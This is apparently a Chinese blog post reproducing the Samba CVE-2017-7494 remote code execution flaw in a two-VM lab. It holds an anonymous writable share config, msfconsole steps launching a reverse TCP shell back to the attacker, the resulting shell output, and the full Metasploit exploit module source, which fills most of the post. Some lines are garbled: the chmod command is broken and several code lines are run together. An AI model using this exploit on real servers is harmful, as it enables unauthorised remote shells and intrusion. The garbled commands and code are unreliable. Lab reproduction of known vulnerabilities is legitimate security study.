Samba远程代码执行漏洞(CVE-2017-7494)本地复现,sambacve-2017-7494


一、复现环境搭建

搭建Debian和kali两个虚拟机: 攻击机:kali (192.168.217.162); 靶机:debian (192.168.217.150)。

二、Debian安装并配置samba

1、首先,下载安装samba服务器

# apt-get install samba

2、在debian下创建一个共享目录,我这里为/mnt/shared

# mkdir  /mnt/shared

3、配置samba服务器的配置文件/etc/samba/smb.conf,在最后添加:

[shared]
  comment = 'Share for work'
  path= /mnt/shared
  guest ok = yes
  public = yes
  writable = yes
  create mask = 0777

4、设置/mnt/shared权限

# chmod –R /mnt/sspaned

5、重启samba服务

# /etc/init.d/samba restart

三、设置攻击机kali

打开kali终端进入到metasploit的exploit目录下的linux文件夹,并新建一个smb文件夹,将攻击脚本放入其中:

# cd /usr/share/metasploit-framework/modules/exploits/linux
# mkdir smb
# wget https://raw.githubusercontent.com/hdm/metasploit-framework/0520d7cf76f8e5e654cb60f157772200c1b9e230/modules/exploits/linux/samba/is_known_pipename.rb

运行metasploit,开始进行攻击(攻击脚本被我重命名为(cve-2017-7494.rb)

# msfconsole
msf > use exploit/linux/smb/cve-2017-7494
msf exploit(cve-2017-7494) > set rhost 192.168.217.150
rhost => 192.168.217.150
msf exploit(cve-2017-7494) > set payload linux/x64/shell/reverse_tcp
payload => linux/x64/shell/reverse_tcp
msf exploit(cve-2017-7494) > set lhost 192.168.217.162
rhost => 192.168.217.162
msf exploit(cve-2017-7494) > run
[*] Started reverse TCP handler on 192.168.217.162:4444
[*] 192.168.217.150:445 - Using location \\192.168.217.150\shared\ for the path
[*] 192.168.217.150:445 - Payload is stored in //192.168.217.150/shared/ as WzyvkESS.so
[*] 192.168.217.150:445 - Trying location /volume1/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume1/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume2/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /volume3/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/SHARED/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /shared/Shared/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /mnt/WzyvkESS.so...
[*] 192.168.217.150:445 - Trying location /mnt/shared/WzyvkESS.so...
[*] Sending stage (38 bytes) to 192.168.217.150
[*] Command shell session 2 opened (192.168.217.162:4444 -> 192.168.217.150:56540) at 2017-05-26 01:17:48 -0400

id
uid=65534(nobody) gid=0(root) egid=65534(nogroup) groups=65534(nogroup)

ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:6e:9a:4a
inet addr:192.168.217.150 Bcast:192.168.217.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fe6e:9a4a/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:6769 errors:0 dropped:0 overruns:0 frame:0
TX packets:700 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:479898 (468.6 KiB) TX bytes:102796 (100.3 KiB)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:35 errors:0 dropped:0 overruns:0 frame:0
TX packets:35 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3557 (3.4 KiB) TX bytes:3557 (3.4 KiB)

whoami
nobody

POC:

  1 ##
  2 # This module requires Metasploit: http://metasploit.com/download
  3 # Current source: https://github.com/rapid7/metasploit-framework
  4 ##
  5 
  6 class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB::Client def initialize(info = {}) super(update_info(info, 'Name' => 'Samba is_known_pipename() Arbitrary Module Load',
  7       'Description'    => %q{
  8           This module triggers an arbitrary shared library load vulnerability
  9         in Samba versions 3.5.0 to 4.4.14, 4.5.10, and 4.6.4. This module
 10         requires valid credentials, a writeable folder in an accessible share,
 11         and knowledge of the server-side path of the writeable folder. In
 12         some cases, anonymous access combined with common filesystem locations
 13         can be used to automatically exploit this vulnerability.
 14       },
 15       'Author'         =>
 16         [
 17           'steelo <knownsteelo[at]gmail.com>',    # Vulnerability Discovery
 18           'hdm',                                  # Metasploit Module
 19         ],
 20       'License'        => MSF_LICENSE,
 21       'References'     =>
 22         [
 23           [ 'CVE', '2017-7494' ],
 24           [ 'URL', 'https://www.samba.org/samba/security/CVE-2017-7494.html' ],
 25         ],
 26       'Payload'         =>
 27         {
 28           'Space'       => 9000,
 29           'DisableNops' => true
 30         },
 31       'Platform'        => 'linux',
 32       #
 33       # Targets are currently limited by platforms with ELF-SO payload wrappers
 34       #
 35       'Targets'         =>
 36         [
 37           [ 'Linux ARM (LE)',   { 'Arch' => ARCH_ARMLE } ],
 38           [ 'Linux x86',        { 'Arch' => ARCH_X86 } ],
 39           [ 'Linux x86_64',     { 'Arch' => ARCH_X64 } ],
 40         # [ 'Linux MIPS',       { 'Arch' => MIPS } ],
 41         ],
 42       'Privileged'      => true,
 43       'DisclosureDate'  => 'Mar 24 2017',
 44       'DefaultTarget'   => 2))
 45 
 46     register_options(
 47       [
 48         OptString.new('SMB_SHARE_NAME', [false, 'The name of the SMB share containing a writeable directory']),
 49         OptString.new('SMB_SHARE_BASE', [false, 'The remote filesystem path correlating with the SMB share name']),
 50         OptString.new('SMB_FOLDER', [false, 'The directory to use within the writeable SMB share']),
 51       ])
 52   end
 53 
 54 
 55   def generate_common_locations
 56     candidates = []
 57     if datastore['SMB_SHARE_BASE'].to_s.length > 0
 58       candidates << datastore['SMB_SHARE_BASE']
 59     end
 60 
 61     %W{/volume1 /volume2 /volume3 /shared /mnt /mnt/usb /media /mnt/media /var/samba /tmp /home /home/shared}.each do |base_name|
 62       candidates << base_name
 63       candidates << [base_name, @share]
 64       candidates << [base_name, @share.downcase]
 65       candidates << [base_name, @share.upcase]
 66       candidates << [base_name, @share.capitalize]
 67       candidates << [base_name, @share.gsub(" ", "_")]
 68     end
 69 
 70     candidates.uniq
 71   end
 72 
 73   def enumerate_directories(share)
 74     begin
 75       self.simple.connect("\\\\#{rhost}\\#{share}")
 76       stuff = self.simple.client.find_first("\\*")
 77       directories = [""]
 78       stuff.each_pair do |entry,entry_attr|
 79         next if %W{. ..}.include?(entry)
 80         next unless entry_attr['type'] == 'D'
 81         directories << entry end return directories rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
 82       vprint_error("Enum #{share}: #{e}")
 83       return nil
 84 
 85     ensure
 86       if self.simple.shares["\\\\#{rhost}\\#{share}"]
 87         self.simple.disconnect("\\\\#{rhost}\\#{share}")
 88       end
 89     end
 90   end
 91 
 92   def verify_writeable_directory(share, directory="")
 93     begin
 94       self.simple.connect("\\\\#{rhost}\\#{share}")
 95 
 96       random_filename = Rex::Text.rand_text_alpha(5)+".txt"
 97       filename = directory.length == 0 ? "\\#{random_filename}" : "\\#{directory}\\#{random_filename}"
 98 
 99       wfd = simple.open(filename, 'rwct')
100       wfd << Rex::Text.rand_text_alpha(8) wfd.close simple.delete(filename) return true rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
101       vprint_error("Write #{share}#{filename}: #{e}")
102       return false
103 
104     ensure
105       if self.simple.shares["\\\\#{rhost}\\#{share}"]
106         self.simple.disconnect("\\\\#{rhost}\\#{share}")
107       end
108     end
109   end
110 
111   def share_type(val)
112     [ 'DISK', 'PRINTER', 'DEVICE', 'IPC', 'SPECIAL', 'TEMPORARY' ][val]
113   end
114 
115   def enumerate_shares_lanman
116     shares = []
117     begin
118       res = self.simple.client.trans(
119         "\\PIPE\\LANMAN",
120         (
121           [0x00].pack('v') +
122           "WrLeh\x00"   +
123           "B13BWz\x00"  +
124           [0x01, 65406].pack("vv")
125         ))
126     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
127       vprint_error("Could not enumerate shares via LANMAN")
128       return []
129     end
130     if res.nil?
131       vprint_error("Could not enumerate shares via LANMAN")
132       return []
133     end
134 
135     lerror, lconv, lentries, lcount = res['Payload'].to_s[
136       res['Payload'].v['ParamOffset'],
137       res['Payload'].v['ParamCount']
138     ].unpack("v4")
139 
140     data = res['Payload'].to_s[
141       res['Payload'].v['DataOffset'],
142       res['Payload'].v['DataCount']
143     ]
144 
145     0.upto(lentries - 1) do |i|
146       sname,tmp = data[(i * 20) +  0, 14].split("\x00")
147       stype     = data[(i * 20) + 14, 2].unpack('v')[0]
148       scoff     = data[(i * 20) + 16, 2].unpack('v')[0]
149       scoff -= lconv if lconv != 0
150       scomm,tmp = data[scoff, data.length - scoff].split("\x00")
151       shares << [ sname, share_type(stype), scomm] end shares end def probe_module_path(path) begin simple.create_pipe(path) rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
152       vprint_error("Probe: #{path}: #{e}")
153     end
154   end
155 
156   def find_writeable_path(share)
157     subdirs = enumerate_directories(share)
158     return unless subdirs
159 
160     if datastore['SMB_FOLDER'].to_s.length > 0
161       subdirs.unshift(datastore['SMB_FOLDER'])
162     end
163 
164     subdirs.each do |subdir|
165       next unless verify_writeable_directory(share, subdir)
166       return subdir
167     end
168 
169     nil
170   end
171 
172   def find_writeable_share_path
173     @path = nil
174     share_info = enumerate_shares_lanman
175     if datastore['SMB_SHARE_NAME'].to_s.length > 0
176       share_info.unshift [datastore['SMB_SHARE_NAME'], 'DISK', '']
177     end
178 
179     share_info.each do |share|
180       next if share.first.upcase == 'IPC$'
181       found = find_writeable_path(share.first)
182       next unless found
183       @share = share.first
184       @path  = found
185       break
186     end
187   end
188 
189   def find_writeable
190     find_writeable_share_path
191     unless @share && @path
192       print_error("No suiteable share and path were found, try setting SMB_SHARE_NAME and SMB_FOLDER")
193       fail_with(Failure::NoTarget, "No matching target")
194     end
195     print_status("Using location \\\\#{rhost}\\#{@share}\\#{@path} for the path")
196   end
197 
198   def upload_payload
199     begin
200       self.simple.connect("\\\\#{rhost}\\#{@share}")
201 
202       random_filename = Rex::Text.rand_text_alpha(8)+".so"
203       filename = @path.length == 0 ? "\\#{random_filename}" : "\\#{@path}\\#{random_filename}"
204       wfd = simple.open(filename, 'rwct')
205       wfd << Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, "elf-so", {:arch => target.arch, :platform => target.platform}
206       )
207       wfd.close
208 
209       @payload_name = random_filename
210       return true
211 
212     rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
213       print_error("Write #{@share}#{filename}: #{e}")
214       return false
215 
216     ensure
217       if self.simple.shares["\\\\#{rhost}\\#{@share}"]
218         self.simple.disconnect("\\\\#{rhost}\\#{@share}")
219       end
220     end
221   end
222 
223   def find_payload
224     print_status("Payload is stored in //#{rhost}/#{@share}/#{@path} as #{@payload_name}")
225 
226     # Reconnect to IPC$
227     simple.connect("\\\\#{rhost}\\IPC$")
228 
229     #
230     # In a perfect world we would find a way make IPC$'s associated CWD
231     # change to our share path, which would allow the following code:
232     #
233     # probe_module_path("/proc/self/cwd/#{@path}/#{@payload_name}")
234     #
235 
236     # Until we find a better way, brute force based on common paths
237     generate_common_locations.each do |location|
238       target = [location, @path, @payload_name].join("/").gsub(/\/+/, '/')
239       print_status("Trying location #{target}...")
240       probe_module_path(target)
241     end
242   end
243 
244   def exploit
245     # Setup SMB
246     connect
247     smb_login
248 
249     # Find a writeable share
250     find_writeable
251 
252     # Upload the shared library payload
253     upload_payload
254 
255     # Find and execute the payload from the share
256     find_payload rescue Rex::StreamClosedError
257 
258     # Shutdown
259     disconnect
260   end
261 
262 end

 

相关内容

    暂无相关文章